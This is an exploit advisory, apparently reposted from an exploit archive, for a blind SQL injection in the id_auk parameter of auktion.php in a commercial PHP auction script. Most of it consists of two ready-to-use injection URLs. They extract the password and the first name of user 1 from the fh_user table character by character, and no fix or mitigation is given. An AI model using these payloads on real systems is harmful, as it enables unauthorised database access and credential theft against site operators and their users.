Pay Per Watch & Bid Auktions System auktion.php (id_auk) SQL Injection

======================================================================
Pay Per Watch & Bid Auktions System auktion.php (id_auk) SQL Injection
======================================================================


----------------------------Information------------------------------------------------
+Name : Pay Per Watch & Bid Auktions System BLIND SQL Injection auktion.php (id_auk)
+Autor : Easy Laster
+Date   : 20.03.2010
+Script  : Pay Per Watch & Bid Auktions System
+Download : ------------------
+Demo : http://phpspezial.de/auktion-pay-per-bid/
+Price : 319.90 euro
+Language :PHP
+Discovered by Easy Laster

----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/auktion/auktion.php?id_auk=
 
#password
+Exploitable   : http://www.site.com/auktion/auktion.php?id_auk=1+and+1=1+and+ascii
(substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1
 
 
#username
+Exploitable
http://www.site.com/auktion/auktion.php?id_auk=1+and+1=1+and+ascii
(substring((SELECT vorname FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1
----------------------------------------------------------------------------------------



#  0day.today [2018-01-05]  #